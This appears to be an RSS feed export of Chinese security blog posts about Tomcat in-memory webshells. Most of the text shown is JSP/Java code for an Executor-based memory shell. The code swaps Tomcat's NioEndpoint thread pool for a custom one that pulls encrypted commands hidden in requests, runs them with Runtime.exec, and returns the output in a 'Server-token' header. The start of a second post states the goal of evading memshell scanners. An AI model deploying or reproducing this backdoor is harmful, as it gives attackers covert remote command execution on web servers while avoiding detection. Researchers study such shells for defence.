<span class="code-snippet__keyword">if</span> (a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) &gt; <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">                                                            System.out.println(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>));</span></code><code><span class="code-snippet_outer">                                                            System.out.println(a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)));</span></code><code><span class="code-snippet_outer">                                                            <span class="code-snippet__built_in">String</span> b = a.substring(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) + <span class="code-snippet__string">&#34;blue0&#34;</span>.length() + <span class="code-snippet__number">2</span>, a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)));</span></code><code><span class="code-snippet_outer">                                                            b = decode(DEFAULT_SECRET_KEY, b);</span></code><code><span class="code-snippet_outer">                                                            buf.position(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                                                            nioSocketWrapper.unRead(buf);</span></code><code><span class="code-snippet_outer">                                                            System.out.println(b);</span></code><code><span class="code-snippet_outer">                                                            System.out.println(<span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(buf.array(), <span class="code-snippet__string">&#34;UTF-8&#34;</span>));</span></code><code><span class="code-snippet_outer">                                                            <span class="code-snippet__keyword">return</span> b;</span></code><code><span class="code-snippet_outer">                                                        }</span></code><code><span class="code-snippet_outer">                                                        <span class="code-snippet__keyword">else</span>{</span></code><code><span class="code-snippet_outer">                                                            buf.position(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                                                            nioSocketWrapper.unRead(buf);</span></code><code><span class="code-snippet_outer">                                                            <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                                        }</span></code><code><span class="code-snippet_outer">                                                    } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                                                        nioSocketWrapper.unRead(buf);</span></code><code><span class="code-snippet_outer">                                                    }</span></code><code><span class="code-snippet_outer">                                                } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                                }</span></code><code><span class="code-snippet_outer">                                            }</span></code><code><span class="code-snippet_outer">                                        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                                            <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                        }</span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer">                                } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                                    System.out.println(var11);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>();</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> getResponse(byte[] res) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (!threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>) &amp;&amp; threadName.contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                    ArrayList objects = (ArrayList) getField(getField(getField(getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>), <span class="code-snippet__string">&#34;handler&#34;</span>), <span class="code-snippet__string">&#34;global&#34;</span>), <span class="code-snippet__string">&#34;processors&#34;</span>);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__built_in">Object</span> tmp_object : objects) {</span></code><code><span class="code-snippet_outer">                                        RequestInfo request = (RequestInfo) tmp_object;</span></code><code><span class="code-snippet_outer">                                        Response response = (Response) getField(getField(request, <span class="code-snippet__string">&#34;req&#34;</span>), <span class="code-snippet__string">&#34;response&#34;</span>);</span></code><code><span class="code-snippet_outer">                                        response.addHeader(<span class="code-snippet__string">&#34;Server-token&#34;</span>, encode(DEFAULT_SECRET_KEY,<span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(res, <span class="code-snippet__string">&#34;UTF-8&#34;</span>)));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer">                                } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> execute(Runnable command) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            System.out.println(&#34;123&#34;);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">String</span> cmd = getRequest2();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (cmd.length() &gt; <span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    Runtime rt = Runtime.getRuntime();</span></code><code><span class="code-snippet_outer">                    Process process = rt.exec(cmd);</span></code><code><span class="code-snippet_outer">                    java.io.InputStream <span class="code-snippet__keyword">in</span> = process.getInputStream();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    java.io.InputStreamReader resultReader = <span class="code-snippet__keyword">new</span> java.io.InputStreamReader(<span class="code-snippet__keyword">in</span>);</span></code><code><span class="code-snippet_outer">                    java.io.BufferedReader stdInput = <span class="code-snippet__keyword">new</span> java.io.BufferedReader(resultReader);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> s = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> tmp = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">while</span> ((tmp = stdInput.readLine()) != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        s += tmp;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (s != <span class="code-snippet__string">&#34;&#34;</span>) {</span></code><code><span class="code-snippet_outer">                        byte[] res = s.getBytes(StandardCharsets.UTF_8);</span></code><code><span class="code-snippet_outer">                        getResponse(res);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (IOException e) {</span></code><code><span class="code-snippet_outer">                    e.printStackTrace();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.execute(command, <span class="code-snippet__number">0</span>L, TimeUnit.MILLISECONDS);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">%&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, <span class="code-snippet__string">&#34;executor&#34;</span>);</span></code><code><span class="code-snippet_outer">        Executor_ms.threadexecutor exe = <span class="code-snippet__keyword">new</span> Executor_ms.threadexecutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());</span></code><code><span class="code-snippet_outer">        nioEndpoint.setExecutor(exe);</span></code><code><span class="code-snippet_outer">    }<span class="code-snippet__keyword">catch</span> (ClassCastException e){</span></code><code><span class="code-snippet_outer">        StandardThreadExecutor standardexec = (StandardThreadExecutor) getField(nioEndpoint, <span class="code-snippet__string">&#34;executor&#34;</span>);</span></code><code><span class="code-snippet_outer">        ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(standardexec, <span class="code-snippet__string">&#34;executor&#34;</span>);</span></code><code><span class="code-snippet_outer">        Executor_ms.threadexecutor exe = <span class="code-snippet__keyword">new</span> Executor_ms.threadexecutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());</span></code><code><span class="code-snippet_outer">        nioEndpoint.setExecutor(exe);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p><span style="font-weight: bold;font-size: 26px;">后记</span></p><p>仍请忽略我拙劣的coding能力，代码中仍存在一些问题（比如回显size过大导致的response header溢出错误。）</p></article>



<p><a href="2247483857">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4a939bd9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483857%26idx%3D1%26sn%3Df39bb8c0e9a15fdeb350bbf5d3d1d7c2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 05 Aug 2022 23:04:00 +0800</pubDate>
    </item>
    <item>
      <title>Executor内存马的实现</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483826&amp;idx=1&amp;sn=88a9534b9c21d657ff7351c5719a70ca</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>深蓝</span> <span>2022-07-30 00:00</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a8c511cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETicLuLEOoXESnXDxqNYDhzjSg3LWX9LTGBXKzK23zlKtiannEwhA4z0IQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 26px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言</span><br/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I6ih-1659008578663&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KTjM-1659008578664&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;PS：本文均只代表个人浅薄观点，若有错误或理解不足请指出。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qWbb-1659008944028&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;65Pi-1659008944012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Tomcat为了自身的可扩展性，各组件之间在很大程度上都进行了解耦。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IBZr-1659009059120&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9MJ-1659009059118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而memshell scanner等类似内存马查杀工具，大多都是针对Container内的注册服务进行扫描。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xwsm-1659009534651&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Y04-1659009534632&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;那我们是否可以在Connector内进行内存马的注入？&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qa1i-1659008578885&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RbFi-1659008578883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wijP-1659010285629&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W6ZE-1659010285630&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前置知识&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X3Dr-1659008587178&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KtJJ-1659008587179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;先来看看Connector的具体实现。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lkg6-1659009574070&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FsQm-1659009574067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在Tomcat笔记（其一）中我们曾提到，Connector主要由ProtocolHandler与Adapter构成。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ARfo-1659009674434&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCEb2cfc668757abfe90beb2040fdb800fd&#34;,&#34;width&#34;:662,&#34;height&#34;:318},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCEb2cfc668757abfe90beb2040fdb800fd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:318},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FaKQ-1659009368425&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YqP6-1659009368422&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而ProtocolHandler又主要由Endpoint与Processor组成：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ef4s-1659009834267&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/e/WEBRESOURCE3c2c691f6e48d42d3deeb0a07301013e&#34;,&#34;width&#34;:319,&#34;height&#34;:144},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/e/WEBRESOURCE3c2c691f6e48d42d3deeb0a07301013e&#34;,&#34;initialSize&#34;:{&#34;width&#34;:319,&#34;height&#34;:154},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JECO-1659009368668&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nOW8-1659009368666&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;根据实现的不同，ProtocolHandler又有如下分类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WzJU-1659010016471&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/e/WEBRESOURCEab24d243f12cdc9245494a980a83c74e&#34;,&#34;width&#34;:545,&#34;height&#34;:240},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/e/WEBRESOURCEab24d243f12cdc9245494a980a83c74e&#34;,&#34;initialSize&#34;:{&#34;width&#34;:545,&#34;height&#34;:237},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6lZI-1659009889296&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3fI6-1659009889294&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;本文中，我们主要关注一下Http11NioProtocol这个实现。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;itof-1659010060779&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KyCd-1659010060764&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AgR0-1659010161999&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mpLU-1659010161996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Endpoint&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;chCS-1659010062069&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1sEV-1659010062066&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Endpoint是ProtocolHandler的组成之一，而NioEndpoint是Http11NioProtocl中的实现。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A2ZB-1659009862316&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pMqF-1659009862315&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Endpoint五大组件：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kUUN-1659010434818&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;luS2-1659010434817&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;LimitLatch&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H8p5-1659010462558&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;：连接控制器，负责控制最大的连接数&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DA2t-1659010462565&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wzR-1659010462560&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Acceptor&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xGoT-1659010462561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;：负责接收新的连接，然后返回一个&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ywQT-1659010462562&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Channel&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hRey-1659010462563&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;对象给&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oCvd-1659010462564&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Poller&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;keAr-1659010462572&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pbWs-1659010462566&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Poller&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FEGT-1659010462567&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;：可以将其看成是NIO中&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ka6a-1659010462568&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Selector&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yjdx-1659010462569&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;，负责监控&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gQtY-1659010462570&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Channel&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2V5g-1659010462571&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;的状态&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U6JM-1659010462575&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;so8z-1659010462573&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;SocketProcessor&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SNo3-1659010462574&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;：可以看成是一个被封装的任务类&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLkP-1659010462578&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fsPK-1659010462576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Executor&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OE8T-1659010462577&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;：Tomcat自己扩展的线程池，用来执行任务类&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kyb5-1659010510695&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCEa8b1750dd764ddfee5541000150eb614&#34;,&#34;width&#34;:662,&#34;height&#34;:367},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCEa8b1750dd764ddfee5541000150eb614&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:367},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0SVi-1659010473282&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTHR-1659010473279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34